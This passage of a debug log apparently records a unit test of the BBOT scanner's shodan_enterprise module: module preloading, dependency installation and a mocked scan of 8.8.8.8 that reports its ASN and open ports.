Preloading sitedossier from cache -2026-03-01 16:39:55,314 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:39:55,314 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:39:55,315 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:39:55,315 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:39:55,316 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:39:55,316 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:39:55,317 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:39:55,318 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:39:55,318 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:39:55,319 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:39:55,319 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:39:55,320 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:39:55,321 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:39:55,322 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:39:55,322 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:39:55,323 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:39:55,324 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:39:55,325 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:39:55,325 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:39:55,326 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:39:55,327 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:39:55,327 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:39:55,328 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:39:55,329 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:39:55,330 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:39:55,331 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:39:55,331 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:39:55,332 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:39:55,333 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:39:55,334 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:39:55,334 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:39:55,335 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:39:55,336 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:39:55,337 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:39:55,338 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:39:55,339 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:39:55,340 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:39:55,341 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:39:55,342 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:39:55,342 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:39:55,343 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:39:55,344 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:39:55,344 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:39:55,346 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:39:55,346 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:39:55,350 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:39:55,350 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:39:55,352 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:39:55,352 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:39:55,354 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:39:55,354 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:39:55,355 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:39:55,356 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:39:55,356 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:39:56,497 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:39:56,497 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:39:56,498 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:39:56,637 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:39:57,261 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:39:57,261 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:39:57,261 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:39:57,262 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:39:57,473 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:39:57,474 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:39:57,584 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:39:57,584 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:39:57,639 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:39:57,642 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:39:57,642 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:39:58,105 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:39:58,105 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:40:00,889 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:40:00,890 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:40:00,890 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:40:02,743 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:40:02,744 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:40:02,749 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:40:02,749 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:40:02,750 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:40:02,750 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:40:02,751 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:40:02,751 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:40:02,751 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:40:02,751 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:40:02,756 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/tjaj0omoc9ugc298yzvb -2026-03-01 16:40:03,524 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:40:03,524 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:40:03,525 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:40:03,525 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:40:03,526 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:40:03,648 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:40:03,649 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:40:03,649 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:40:03,650 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:40:03,651 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:40:03,651 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:40:03,651 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:40:03,652 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:40:03,652 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:40:03,653 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:40:03,653 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:40:03,653 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:40:03,653 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:40:03,654 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:40:03,654 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:40:03,654 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:40:03,654 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:40:03,654 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:40:03,654 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:40:03,654 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:40:03,655 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:40:03,655 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:40:03,656 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:40:03,656 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:40:03,656 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:40:03,656 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:40:03,657 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:40:03,657 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:40:03,657 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:40:03,657 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:40:03,657 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:40:03,657 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:40:03,658 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:40:03,658 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:40:03,658 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:40:03,658 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:40:03,658 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:40:03,660 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:40:03,660 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:40:03,660 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:40:03,803 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_cq36fyddhw -2026-03-01 16:40:03,803 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:40:03,917 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:40:03,918 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:40:03,918 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:40:03,919 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 16:40:04,020 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:40:04,021 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:40:04,022 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:40:04,023 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-03-01 16:40:04,023 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 16:40:04,025 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:40:04,025 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:40:04,026 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-01 16:40:04,027 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:40:04,028 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:40:04,028 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:40:04,029 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:40:04,029 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:40:04,030 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:40:04,031 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:40:04,037 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:40:04,037 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:40:04,038 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:40:04,038 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:40:04,039 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 16:40:04,039 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 16:40:04,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 16:40:04,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:40:04,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:40:04,139 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:40:04,140 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:40:04,141 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:40:04,142 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 16:40:04,142 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:40:04,143 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:40:04,143 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:40:04,144 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:40:04,145 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,145 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:40:04,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:40:04,147 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:40:04,147 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:40:04,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:40:04,148 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,149 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,149 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,150 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,150 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,150 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:40:04,151 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:40:04,151 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:40:04,152 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,152 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,152 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,153 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,153 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,154 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,154 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:40:04,155 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, 